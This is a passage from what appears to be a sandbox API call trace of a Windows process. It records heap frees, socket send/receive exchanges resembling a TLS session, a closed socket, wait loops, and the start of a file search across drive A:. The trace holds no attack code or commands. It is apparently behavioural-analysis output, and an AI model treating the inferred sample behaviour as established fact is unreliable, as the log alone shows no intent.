dwFlags=0x0, lpMem=0x38766a8 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4bc8 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882170 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882080 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4c08 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x387a598 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e48e8 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881e28 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e49a8 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881ed0 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4a68 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881d50 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e46e8 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881dc8 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4788 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881d38 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4768 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x387a3e0 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4988 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881d98 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881df8 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4928 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4a08 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876758 | out: hHeap=0x2ad0000) returned 1 [0081.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882080 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38767c8 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4e08 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882128 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881f60 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4e48 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876608 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38820c8 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876738 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4c48 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38820b0 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882098 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4be8 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882170 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38820f8 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876788 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4b68 | out: hHeap=0x2ad0000) returned 1 [0081.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38820e0 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38821e8 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4e88 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4d08 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38821b8 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876698 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4b08 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881d98 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882188 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4ae8 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381eed0 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881f90 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38766a8 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4ca8 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881f18 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881f00 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4b88 | out: hHeap=0x2ad0000) returned 1 [0081.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3869298 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881f78 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38766b8 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4ea8 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881f48 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881f30 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4da8 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x387a4d0 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4bc8 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881d38 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4768 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881dc8 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4a68 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881fd8 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4788 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882110 | out: hHeap=0x2ad0000) returned 1 [0081.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4d88 | out: hHeap=0x2ad0000) returned 1 [0081.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881ed0 | out: hHeap=0x2ad0000) returned 1 [0081.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4b48 | out: hHeap=0x2ad0000) returned 1 [0081.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882158 | out: hHeap=0x2ad0000) returned 1 [0081.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4e68 | out: hHeap=0x2ad0000) returned 1 [0081.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x387a3e0 | out: hHeap=0x2ad0000) returned 1 [0081.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e48e8 | out: hHeap=0x2ad0000) returned 1 [0081.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38820f8 | out: hHeap=0x2ad0000) returned 1 [0081.917] GetCurrentThreadId () returned 0x9b0 [0081.917] GetCurrentThreadId () returned 0x9b0 [0081.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881f60 | out: hHeap=0x2ad0000) returned 1 [0081.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881f48 | out: hHeap=0x2ad0000) returned 1 [0081.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4c88 | out: hHeap=0x2ad0000) returned 1 [0081.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4ea8 | out: hHeap=0x2ad0000) returned 1 [0081.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876978 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38822d8 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38768b8 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4ac8 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38822a8 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882368 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4ea8 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x387a700 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882308 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38769f8 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4b68 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38822f0 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882200 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4b48 | out: hHeap=0x2ad0000) returned 1 [0081.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3869500 | out: hHeap=0x2ad0000) returned 1 [0081.918] GetCurrentThreadId () returned 0x9b0 [0081.918] GetCurrentThreadId () returned 0x9b0 [0081.919] GetCurrentThreadId () returned 0x9b0 [0081.919] GetCurrentThreadId () returned 0x9b0 [0081.919] GetCurrentThreadId () returned 0x9b0 [0081.919] GetCurrentThreadId () returned 0x9b0 [0081.919] GetCurrentThreadId () returned 0x9b0 [0081.919] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/27eb7704.0", lpFindFileData=0x9b9d70 | out: lpFindFileData=0x9b9d70*(dwFileAttributes=0x9b9df8, ftCreationTime.dwLowDateTime=0x28, ftCreationTime.dwHighDateTime=0x74243adc, ftLastAccessTime.dwLowDateTime=0x80, ftLastAccessTime.dwHighDateTime=0x9b9e01, ftLastWriteTime.dwLowDateTime=0x9ba110, ftLastWriteTime.dwHighDateTime=0x28, nFileSizeHigh=0x3864540, nFileSizeLow=0x74248370, dwReserved0=0x2ad0000, dwReserved1=0x10, cFileName="@E\x86\x03", cAlternateFileName="")) returned 0xffffffff [0081.920] GetLastError () returned 0x3 [0081.920] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/27eb7704.0", nBufferLength=0x104, lpBuffer=0x9b9eb0, lpFilePart=0x9b9d08 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\27eb7704.0", lpFilePart=0x9b9d08*="27eb7704.0") returned 0x21 [0081.920] GetLastError () returned 0x3 [0081.920] GetCurrentThreadId () returned 0x9b0 [0081.920] GetCurrentThreadId () returned 0x9b0 [0081.920] GetCurrentThreadId () returned 0x9b0 [0081.920] GetCurrentThreadId () returned 0x9b0 [0081.920] GetCurrentThreadId () returned 0x9b0 [0081.920] GetCurrentThreadId () returned 0x9b0 [0081.921] GetCurrentThreadId () returned 0x9b0 [0081.921] GetCurrentThreadId () returned 0x9b0 [0081.921] GetCurrentThreadId () returned 0x9b0 [0081.921] GetCurrentThreadId () returned 0x9b0 [0081.921] GetCurrentThreadId () returned 0x9b0 [0081.921] GetCurrentThreadId () returned 0x9b0 [0081.921] GetCurrentThreadId () returned 0x9b0 [0081.921] GetCurrentThreadId () returned 0x9b0 [0081.921] GetCurrentThreadId () returned 0x9b0 [0081.921] GetCurrentThreadId () returned 0x9b0 [0081.921] GetCurrentThreadId () returned 0x9b0 [0081.921] GetCurrentThreadId () returned 0x9b0 [0081.922] GetCurrentThreadId () returned 0x9b0 [0081.922] GetCurrentThreadId () returned 0x9b0 [0081.922] GetCurrentThreadId () returned 0x9b0 [0081.922] GetCurrentThreadId () returned 0x9b0 [0081.922] GetCurrentThreadId () returned 0x9b0 [0081.922] GetCurrentThreadId () returned 0x9b0 [0081.923] GetCurrentThreadId () returned 0x9b0 [0081.923] GetCurrentThreadId () returned 0x9b0 [0081.923] GetCurrentThreadId () returned 0x9b0 [0081.923] GetCurrentThreadId () returned 0x9b0 [0081.923] GetCurrentThreadId () returned 0x9b0 [0081.923] GetCurrentThreadId () returned 0x9b0 [0081.924] GetCurrentThreadId () returned 0x9b0 [0081.924] GetCurrentThreadId () returned 0x9b0 [0081.924] GetCurrentThreadId () returned 0x9b0 [0081.925] GetCurrentThreadId () returned 0x9b0 [0081.926] GetCurrentThreadId () returned 0x9b0 [0081.926] GetCurrentThreadId () returned 0x9b0 [0081.926] GetCurrentThreadId () returned 0x9b0 [0081.927] GetCurrentThreadId () returned 0x9b0 [0081.928] GetCurrentThreadId () returned 0x9b0 [0081.928] GetCurrentThreadId () returned 0x9b0 [0081.928] GetCurrentThreadId () returned 0x9b0 [0081.928] GetCurrentThreadId () returned 0x9b0 [0081.928] GetCurrentThreadId () returned 0x9b0 [0081.928] GetCurrentThreadId () returned 0x9b0 [0081.928] GetCurrentThreadId () returned 0x9b0 [0081.928] GetCurrentThreadId () returned 0x9b0 [0081.928] GetCurrentThreadId () returned 0x9b0 [0081.928] GetCurrentThreadId () returned 0x9b0 [0081.929] GetCurrentThreadId () returned 0x9b0 [0081.929] GetCurrentThreadId () returned 0x9b0 [0081.929] GetCurrentThreadId () returned 0x9b0 [0081.929] GetCurrentThreadId () returned 0x9b0 [0081.929] GetCurrentThreadId () returned 0x9b0 [0081.929] GetCurrentThreadId () returned 0x9b0 [0081.929] GetCurrentThreadId () returned 0x9b0 [0081.929] GetCurrentThreadId () returned 0x9b0 [0081.929] GetCurrentThreadId () returned 0x9b0 [0081.929] GetCurrentThreadId () returned 0x9b0 [0081.929] GetCurrentThreadId () returned 0x9b0 [0081.929] GetCurrentThreadId () returned 0x9b0 [0081.930] GetCurrentThreadId () returned 0x9b0 [0081.930] GetCurrentThreadId () returned 0x9b0 [0081.930] GetCurrentThreadId () returned 0x9b0 [0081.930] GetCurrentThreadId () returned 0x9b0 [0081.930] WSASetLastError (iError=0) [0081.930] recv (in: s=0x3a0, buf=0x37205cb, len=5, flags=0 | out: buf=0x37205cb*) returned 5 [0081.930] SetLastError (dwErrCode=0x0) [0081.930] WSASetLastError (iError=0) [0081.930] recv (in: s=0x3a0, buf=0x37205d0, len=333, flags=0 | out: buf=0x37205d0*) returned 333 [0081.932] GetCurrentThreadId () returned 0x9b0 [0081.932] GetCurrentThreadId () returned 0x9b0 [0081.932] GetCurrentThreadId () returned 0x9b0 [0081.932] GetCurrentThreadId () returned 0x9b0 [0081.932] GetCurrentThreadId () returned 0x9b0 [0081.932] GetCurrentThreadId () returned 0x9b0 [0081.933] GetCurrentThreadId () returned 0x9b0 [0081.933] GetCurrentThreadId () returned 0x9b0 [0081.933] WSASetLastError (iError=0) [0081.933] recv (in: s=0x3a0, buf=0x37205cb, len=5, flags=0 | out: buf=0x37205cb*) returned 5 [0081.933] SetLastError (dwErrCode=0x0) [0081.933] WSASetLastError (iError=0) [0081.933] recv (in: s=0x3a0, buf=0x37205d0, len=4, flags=0 | out: buf=0x37205d0*) returned 4 [0081.933] GetCurrentThreadId () returned 0x9b0 [0081.933] GetCurrentThreadId () returned 0x9b0 [0081.933] GetCurrentThreadId () returned 0x9b0 [0081.933] GetCurrentThreadId () returned 0x9b0 [0081.933] GetCurrentThreadId () returned 0x9b0 [0081.934] GetCurrentThreadId () returned 0x9b0 [0081.934] GetCurrentThreadId () returned 0x9b0 [0081.934] GetCurrentThreadId () returned 0x9b0 [0081.934] GetCurrentThreadId () returned 0x9b0 [0081.935] GetCurrentThreadId () returned 0x9b0 [0081.936] GetCurrentThreadId () returned 0x9b0 [0081.936] GetCurrentThreadId () returned 0x9b0 [0081.936] GetCurrentThreadId () returned 0x9b0 [0081.936] GetCurrentThreadId () returned 0x9b0 [0081.938] GetCurrentThreadId () returned 0x9b0 [0081.938] GetCurrentThreadId () returned 0x9b0 [0081.938] GetCurrentThreadId () returned 0x9b0 [0081.939] GetCurrentThreadId () returned 0x9b0 [0081.939] GetCurrentThreadId () returned 0x9b0 [0081.939] GetCurrentThreadId () returned 0x9b0 [0081.939] GetCurrentThreadId () returned 0x9b0 [0081.939] GetCurrentThreadId () returned 0x9b0 [0081.939] GetCurrentThreadId () returned 0x9b0 [0081.939] GetCurrentThreadId () returned 0x9b0 [0081.939] GetCurrentThreadId () returned 0x9b0 [0081.939] GetCurrentThreadId () returned 0x9b0 [0081.939] GetCurrentThreadId () returned 0x9b0 [0081.939] GetCurrentThreadId () returned 0x9b0 [0081.939] GetCurrentThreadId () returned 0x9b0 [0081.940] GetCurrentThreadId () returned 0x9b0 [0081.940] GetCurrentThreadId () returned 0x9b0 [0081.940] GetCurrentThreadId () returned 0x9b0 [0081.940] GetCurrentThreadId () returned 0x9b0 [0081.940] GetCurrentThreadId () returned 0x9b0 [0081.940] GetCurrentThreadId () returned 0x9b0 [0081.940] GetCurrentThreadId () returned 0x9b0 [0081.940] GetCurrentThreadId () returned 0x9b0 [0081.940] GetCurrentThreadId () returned 0x9b0 [0081.940] GetCurrentThreadId () returned 0x9b0 [0081.941] GetCurrentThreadId () returned 0x9b0 [0081.941] GetCurrentThreadId () returned 0x9b0 [0081.941] GetCurrentThreadId () returned 0x9b0 [0081.941] GetCurrentThreadId () returned 0x9b0 [0081.941] GetCurrentThreadId () returned 0x9b0 [0081.941] GetCurrentThreadId () returned 0x9b0 [0081.941] GetCurrentThreadId () returned 0x9b0 [0081.941] GetCurrentThreadId () returned 0x9b0 [0081.941] GetCurrentThreadId () returned 0x9b0 [0081.941] GetCurrentThreadId () returned 0x9b0 [0081.941] GetCurrentThreadId () returned 0x9b0 [0081.941] GetCurrentThreadId () returned 0x9b0 [0081.942] GetCurrentThreadId () returned 0x9b0 [0081.942] GetCurrentThreadId () returned 0x9b0 [0081.942] GetCurrentThreadId () returned 0x9b0 [0081.942] GetCurrentThreadId () returned 0x9b0 [0081.942] GetCurrentThreadId () returned 0x9b0 [0081.943] GetCurrentThreadId () returned 0x9b0 [0081.943] GetCurrentThreadId () returned 0x9b0 [0081.943] GetCurrentThreadId () returned 0x9b0 [0081.943] GetCurrentThreadId () returned 0x9b0 [0081.943] GetCurrentThreadId () returned 0x9b0 [0081.943] GetCurrentThreadId () returned 0x9b0 [0081.943] GetCurrentThreadId () returned 0x9b0 [0081.943] GetCurrentThreadId () returned 0x9b0 [0081.943] GetCurrentThreadId () returned 0x9b0 [0081.943] GetCurrentThreadId () returned 0x9b0 [0081.944] GetCurrentThreadId () returned 0x9b0 [0081.944] GetCurrentThreadId () returned 0x9b0 [0081.944] GetCurrentThreadId () returned 0x9b0 [0081.944] GetCurrentThreadId () returned 0x9b0 [0081.944] GetCurrentThreadId () returned 0x9b0 [0081.944] WSASetLastError (iError=0) [0081.944] send (s=0x3a0, buf=0x2cc04b8*, len=126, flags=0) returned 126 [0081.945] SetLastError (dwErrCode=0x0) [0081.945] WSASetLastError (iError=0) [0081.945] recv (in: s=0x3a0, buf=0x37205cb, len=5, flags=0 | out: buf=0x37205cb*) returned 5 [0081.968] SetLastError (dwErrCode=0x0) [0081.968] WSASetLastError (iError=0) [0081.968] recv (in: s=0x3a0, buf=0x37205d0, len=202, flags=0 | out: buf=0x37205d0*) returned 202 [0081.969] WSASetLastError (iError=0) [0081.969] recv (in: s=0x3a0, buf=0x37205cb, len=5, flags=0 | out: buf=0x37205cb*) returned 5 [0081.969] SetLastError (dwErrCode=0x0) [0081.969] WSASetLastError (iError=0) [0081.969] recv (in: s=0x3a0, buf=0x37205d0, len=1, flags=0 | out: buf=0x37205d0*) returned 1 [0081.969] GetCurrentThreadId () returned 0x9b0 [0081.969] GetCurrentThreadId () returned 0x9b0 [0081.969] GetCurrentThreadId () returned 0x9b0 [0081.969] GetCurrentThreadId () returned 0x9b0 [0081.969] GetCurrentThreadId () returned 0x9b0 [0081.969] GetCurrentThreadId () returned 0x9b0 [0081.969] GetCurrentThreadId () returned 0x9b0 [0081.969] GetCurrentThreadId () returned 0x9b0 [0081.970] GetCurrentThreadId () returned 0x9b0 [0081.970] GetCurrentThreadId () returned 0x9b0 [0081.970] GetCurrentThreadId () returned 0x9b0 [0081.970] WSASetLastError (iError=0) [0081.970] recv (in: s=0x3a0, buf=0x37205cb, len=5, flags=0 | out: buf=0x37205cb*) returned 5 [0081.970] SetLastError (dwErrCode=0x0) [0081.970] WSASetLastError (iError=0) [0081.970] recv (in: s=0x3a0, buf=0x37205d0, len=40, flags=0 | out: buf=0x37205d0*) returned 40 [0081.970] GetCurrentThreadId () returned 0x9b0 [0081.970] GetCurrentThreadId () returned 0x9b0 [0081.971] GetCurrentThreadId () returned 0x9b0 [0081.974] GetCurrentThreadId () returned 0x9b0 [0081.977] GetCurrentThreadId () returned 0x9b0 [0081.977] GetCurrentThreadId () returned 0x9b0 [0081.977] GetCurrentThreadId () returned 0x9b0 [0081.977] GetCurrentThreadId () returned 0x9b0 [0081.977] GetCurrentThreadId () returned 0x9b0 [0081.977] GetCurrentThreadId () returned 0x9b0 [0081.977] GetCurrentThreadId () returned 0x9b0 [0081.978] GetCurrentThreadId () returned 0x9b0 [0081.978] GetCurrentThreadId () returned 0x9b0 [0081.978] GetCurrentThreadId () returned 0x9b0 [0081.978] GetCurrentThreadId () returned 0x9b0 [0081.978] GetLastError () returned 0x0 [0081.978] GetCurrentThreadId () returned 0x9b0 [0081.978] GetCurrentThreadId () returned 0x9b0 [0081.978] GetLastError () returned 0x0 [0081.978] ioctlsocket (in: s=0x3a0, cmd=-2147195266, argp=0x9ba1bc | out: argp=0x9ba1bc) returned 0 [0081.978] GetLastError () returned 0x0 [0081.978] GetCurrentThreadId () returned 0x9b0 [0081.978] GetLastError () returned 0x0 [0081.979] GetCurrentThreadId () returned 0x9b0 [0081.979] GetCurrentThreadId () returned 0x9b0 [0081.979] GetCurrentThreadId () returned 0x9b0 [0081.979] GetCurrentThreadId () returned 0x9b0 [0081.979] GetCurrentThreadId () returned 0x9b0 [0081.979] GetCurrentThreadId () returned 0x9b0 [0081.979] GetCurrentThreadId () returned 0x9b0 [0081.979] GetCurrentThreadId () returned 0x9b0 [0081.979] GetCurrentThreadId () returned 0x9b0 [0081.979] GetCurrentThreadId () returned 0x9b0 [0081.979] WSASetLastError (iError=0) [0081.979] send (s=0x3a0, buf=0x372871b*, len=483, flags=0) returned 483 [0081.980] GetLastError () returned 0x0 [0081.980] GetCurrentThreadId () returned 0x9b0 [0081.980] GetLastError () returned 0x0 [0081.980] GetCurrentThreadId () returned 0x9b0 [0081.980] GetCurrentThreadId () returned 0x9b0 [0081.980] WSASetLastError (iError=0) [0081.980] recv (in: s=0x3a0, buf=0x37205cb, len=5, flags=0 | out: buf=0x37205cb*) returned 5 [0082.132] SetLastError (dwErrCode=0x0) [0082.132] WSASetLastError (iError=0) [0082.132] recv (in: s=0x3a0, buf=0x37205d0, len=924, flags=0 | out: buf=0x37205d0*) returned 924 [0082.132] GetLastError () returned 0x0 [0082.132] GetCurrentThreadId () returned 0x9b0 [0082.132] GetLastError () returned 0x0 [0082.132] GetCurrentThreadId () returned 0x9b0 [0082.132] GetCurrentThreadId () returned 0x9b0 [0082.132] GetCurrentThreadId () returned 0x9b0 [0082.133] GetCurrentThreadId () returned 0x9b0 [0082.133] GetCurrentThreadId () returned 0x9b0 [0082.133] GetCurrentThreadId () returned 0x9b0 [0082.133] GetCurrentThreadId () returned 0x9b0 [0082.133] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x387a070, Size=0x40) returned 0x3887890 [0082.133] GetCurrentThreadId () returned 0x9b0 [0082.133] GetCurrentThreadId () returned 0x9b0 [0082.133] GetLastError () returned 0x0 [0082.133] GetCurrentThreadId () returned 0x9b0 [0082.133] GetCurrentThreadId () returned 0x9b0 [0082.134] GetCurrentThreadId () returned 0x9b0 [0082.134] GetCurrentThreadId () returned 0x9b0 [0082.134] closesocket (s=0x3a0) returned 0 [0082.147] ResetEvent (hEvent=0x1d4) returned 1 [0082.147] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0083.152] GetLastError () returned 0x0 [0083.152] GetLastError () returned 0x0 [0083.153] ResetEvent (hEvent=0x1d4) returned 1 [0083.153] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0084.190] GetLastError () returned 0x0 [0084.190] GetLastError () returned 0x0 [0084.190] ResetEvent (hEvent=0x1d4) returned 1 [0084.190] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0085.260] GetLastError () returned 0x0 [0085.260] GetLastError () returned 0x0 [0085.261] GetLastError () returned 0x0 [0085.261] GetLastError () returned 0x0 [0085.261] GetLastError () returned 0x0 [0085.261] GetLastError () returned 0x0 [0085.261] FindFirstFileA (in: lpFileName="A:\\*.*", lpFindFileData=0x9bb150 | out: 